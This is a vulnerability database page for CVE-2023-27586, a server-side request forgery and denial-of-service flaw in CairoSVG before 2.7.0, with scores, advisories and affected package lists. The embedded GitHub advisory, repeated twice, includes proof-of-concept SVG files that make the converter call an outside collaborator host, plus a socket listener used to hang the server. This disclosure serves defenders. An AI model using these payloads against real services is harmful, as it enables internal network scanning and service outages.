Every CVE Search/ Get API key

CVE-2023-27586

CairoSVG improperly processes SVG files loaded from external resources

9.9 CriticalFix available

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
High
Availability
Low

Exploit likelihood

0.72%Up 0.7 points since Mar 21, 2023
90%50%10%1%

What each source reports

CVE List Score used 9.9

CairoSVG improperly processes SVG files loaded from external resources

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Record
CVE-2023-27586
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
Weakness
CWE-20, CWE-918
Updated
2026-11-02
EUVDEUVD-2023-0051 9.9

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Record
EUVD-2023-0051
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-rwmf-w63j-p7gv 7.8

CairoSVG improperly processes SVG files loaded from external resources

SSRF vulnerability

Summary

When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

Details

A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server.

PoC

  1. Generating malicious svg file: 1.1 CairoSVG_exploit.svg:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
    <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
    <style type="text/css">
         <![CDATA[
            @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
            rect { fill: red; stroke: blue; stroke-width: 3 }
         ]]>
    </style>
</svg>

1.2 CairoSVG_exploit_2.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <defs>
        <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
            <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
        </pattern>
    </defs>
    <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>

1.3 CairoSVG_exploit_3.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>
  1. Run some commands: $ python3 -m cairosvg CairoSVG_exploit.svg -f png $ python3 -m cairosvg CairoSVG_exploit_2.svg -f png $ python3 -m cairosvg CairoSVG_exploit_3.svg -f png

  2. See result requests in Burp Collaborator:

DOS vulnerability with SSTI

Summary

When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

  1. Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>
  1. In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with…
Record
GHSA-rwmf-w63j-p7gv
CVSS 4.0
7.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
Weakness
CWE-20, CWE-918
Updated
2026-11-02
NVD 9.9

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Record
CVE-2023-27586
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Weakness
CWE-20, CWE-918
Updated
2026-11-02
OSVALPINE-CVE-2023-27586 7.1

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Record
ALPINE-CVE-2023-27586
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Updated
2026-11-03
OSV 9.9

CairoSVG improperly processes SVG files loaded from external resources

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Record
CVE-2023-27586
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
Weakness
CWE-20, CWE-918
Updated
2026-11-02
Show 9 moreShow less
OSVDEBIAN-CVE-2023-27586 7.1

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Record
DEBIAN-CVE-2023-27586
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Updated
2026-11-02
OSVGHSA-rwmf-w63j-p7gv 7.8

CairoSVG improperly processes SVG files loaded from external resources

SSRF vulnerability

Summary

When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

Details

A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server.

PoC

  1. Generating malicious svg file: 1.1 CairoSVG_exploit.svg:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" />
    <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style>
    <style type="text/css">
         <![CDATA[
            @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9");
            rect { fill: red; stroke: blue; stroke-width: 3 }
         ]]>
    </style>
</svg>

1.2 CairoSVG_exploit_2.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <defs>
        <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
            <image xlink:href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/11" x="0" y="0" width="600" height="450" />
        </pattern>
    </defs>
    <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 M215,100 a50,50 0 1 1 -100,0 50,50 0 1 1 100,0 M265,50 l50,100 l-100,0 l50,-100 z" fill="url(#img1)" />
</svg>

1.3 CairoSVG_exploit_3.svg:

<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/13" />
</svg>
  1. Run some commands: $ python3 -m cairosvg CairoSVG_exploit.svg -f png $ python3 -m cairosvg CairoSVG_exploit_2.svg -f png $ python3 -m cairosvg CairoSVG_exploit_3.svg -f png

  2. See result requests in Burp Collaborator:

DOS vulnerability with SSTI

Summary

When CairoSVG processes an SVG file, it can send requests to external hosts and wait for a response from the external server after a successful TCP handshake. This will cause the server to hang. It seems this bug can affect websites or servers and cause a complete freeze while uploading this PoC file to the server.

Operating system, version and so on

Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

Tested CairoSVG version

2.6.0

PoC

  1. Generating malicious svg file:
<?xml version="1.0" standalone="yes"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <use href="http://192.168.56.1:1234/" />
</svg>
  1. In other server run this python program:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(1)
conn, addr = s.accept()
with…
Record
GHSA-rwmf-w63j-p7gv
CVSS 4.0
7.8 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:L
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
Weakness
CWE-20, CWE-918
Updated
2026-11-02
OSVUBUNTU-CVE-2023-27586 9.9

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Record
UBUNTU-CVE-2023-27586
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L
CVSS 3.1
7.1 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
Updated
2026-11-06
OSVMGASA-2023-0126 No score

Updated python-cairosvg packages fix security vulnerability

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default. (CVE-2023-27586)

Record
MGASA-2023-0126
Updated
2026-11-02
OSVopenSUSE-SU-2023:0260-1 No score

Security update for python-CairoSVG

This update for python-CairoSVG fixes the following issues:

  • CVE-2023-27586: Don't allow fetching external files unless explicitly asked for. (boo#1209538)

  • Update to version 2.5.2

    • Fix marker path scale
  • Update to version 2.5.1 (boo#1180648, CVE-2021-21236):

    • Security fix: When processing SVG files, CairoSVG was using two regular expressions which are vulnerable to Regular Expression Denial of Service (REDoS). If an attacker provided a malicious SVG, it could make CairoSVG get stuck processing the file for a very long time.
    • Fix marker positions for unclosed paths
    • Follow hint when only output_width or output_height is set
    • Handle opacity on raster images
    • Don’t crash when use tags reference unknown tags
    • Take care of the next letter when A/a is replaced by l
    • Fix misalignment in node.vertices
  • Updates for version 2.5.0.

    • Drop support of Python 3.5, add support of Python 3.9.
    • Add EPS export
    • Add background-color, negate-colors, and invert-images options
    • Improve support for font weights
    • Fix opacity of patterns and gradients
    • Support auto-start-reverse value for orient
    • Draw images contained in defs
    • Add Exif transposition support
    • Handle dominant-baseline
    • Support transform-origin
Record
openSUSE-SU-2023:0260-1
Updated
2026-11-02
OSVopenSUSE-SU-2023:0272-1 No score

Security update for python-CairoSVG

This update for python-CairoSVG fixes the following issues:

  • CVE-2023-27586: Don't allow fetching external files unless explicitly asked for. (boo#1209538)

  • Update to version 2.5.2

    • Fix marker path scale
  • Update to version 2.5.1 (boo#1180648, CVE-2021-21236):

    • Security fix: When processing SVG files, CairoSVG was using two regular expressions which are vulnerable to Regular Expression Denial of Service (REDoS). If an attacker provided a malicious SVG, it could make CairoSVG get stuck processing the file for a very long time.

    • Fix marker positions for unclosed paths

    • Follow hint when only output_width or output_height is set

    • Handle opacity on raster images

    • Don’t crash when use tags reference unknown tags

    • Take care of the next letter when A/a is replaced by l

    • Fix misalignment in node.vertices

  • Updates for version 2.5.0.

    • Drop support of Python 3.5, add support of Python 3.9.
    • Add EPS export
    • Add background-color, negate-colors, and invert-images options
    • Improve support for font weights
    • Fix opacity of patterns and gradients
    • Support auto-start-reverse value for orient
    • Draw images contained in defs
    • Add Exif transposition support
    • Handle dominant-baseline
    • Support transform-origin
Record
openSUSE-SU-2023:0272-1
Updated
2026-11-02
OSVopenSUSE-SU-2024:13218-1 No score

python310-CairoSVG-2.7.1-1.1 on GA media

These are all security issues fixed in the python310-CairoSVG-2.7.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:13218-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11989-1 No score

python313-CairoSVG-2.9.0-1.3 on GA media

These are all security issues fixed in the python313-CairoSVG-2.9.0-1.3 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11989-1
Updated
2026-11-02
OSVPYSEC-2023-9 No score

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

Record
PYSEC-2023-9
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
cairosvg
PyPI
before 2.7.0
2.7.0
py3-cairosvg
Alpine:v3.18
before 2.7.0-r0
2.7.0-r0
py3-cairosvg
Alpine:v3.19
before 2.7.0-r0
2.7.0-r0
py3-cairosvg
Alpine:v3.20
before 2.7.0-r0
2.7.0-r0
py3-cairosvg
Alpine:v3.21
before 2.7.0-r0
2.7.0-r0
py3-cairosvg
Alpine:v3.22
before 2.7.0-r0
2.7.0-r0
py3-cairosvg
Alpine:v3.23
before 2.7.0-r0
2.7.0-r0
py3-cairosvg
Alpine:v3.24
before 2.7.0-r0
2.7.0-r0
cairosvg
Debian:12
before 2.5.2-1.1
2.5.2-1.1
cairosvg
Debian:13
before 2.5.2-1.1
2.5.2-1.1
Show 15 moreShow less
Affected packages
PackageAffectedFixed
cairosvg
Debian:14
before 2.5.2-1.1
2.5.2-1.1
cairosvg
Debian:11
before 2.5.0-1.1+deb11u1, plus listed versions
2.5.0-1.1
2.5.0-1.1+deb11u1
cairosvg
PyPI
before 2.7.0, plus listed versions
0.10.1.10.1.20.20.3
Show 45 moreShow less
0.3.10.40.4.10.4.20.4.30.4.40.51.01.0.11.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.21.0.201.0.211.0.221.0.31.0.41.0.51.0.61.0.71.0.81.0.92.0.02.0.0rc12.0.0rc22.0.0rc32.0.0rc42.0.0rc52.0.0rc62.0.12.0.22.0.32.1.02.1.12.1.22.1.32.2.0
2.7.0
python-cairosvg
Mageia:8
before 2.5.1-1.2.mga8
2.5.1-1.2.mga8
cairosvg
Ubuntu:16.04:LTS
All versions, plus listed versions
1.0.16-11.0.17-11.0.19-1
None known
cairosvg
Ubuntu:18.04:LTS
All versions, plus listed versions
1.0.20-1
None known
cairosvg
Ubuntu:20.04:LTS
All versions, plus listed versions
2.4.0-22.4.2-1
None known
cairosvg
Ubuntu:22.04:LTS
All versions, plus listed versions
2.5.0-1.12.5.2-1
None known
cairosvg
Ubuntu:25.10
All versions, plus listed versions
2.7.1-12.7.1-2
None known
cairosvg
Ubuntu:26.10
All versions, plus listed versions
2.8.2-12.9.0-12.9.0-2
None known
python-CairoSVG
SUSE:Package Hub 15 SP5
From an advisory covering 2 CVEs
before 2.5.2-bp155.3.3.1
2.5.2-bp155.3.3.1
python-CairoSVG
openSUSE:Leap 15.5
From an advisory covering 2 CVEs
before 2.5.2-bp155.3.3.1
2.5.2-bp155.3.3.1
python-CairoSVG
SUSE:Package Hub 15 SP4
From an advisory covering 2 CVEs
before 2.5.2-bp154.2.3.1
2.5.2-bp154.2.3.1
python-CairoSVG
openSUSE:Leap 15.4
From an advisory covering 2 CVEs
before 2.5.2-bp154.2.3.1
2.5.2-bp154.2.3.1
python-CairoSVG
openSUSE:Tumbleweed
From an advisory covering 2 CVEs
before 2.9.0-1.3
2.9.0-1.3

History

History
RecordedChangedSources
affectedOSV
affected, facts
affected, aliases, referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-27586 is a critical vulnerability (CVSS 9.9) in Courtbouillon Cairosvg, published March 20, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.72%, the 54th percentile. Fixed in cairosvg 2.7.0.

References

Show 16 moreShow less
This page doesn't list everything

Left out here: 10 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open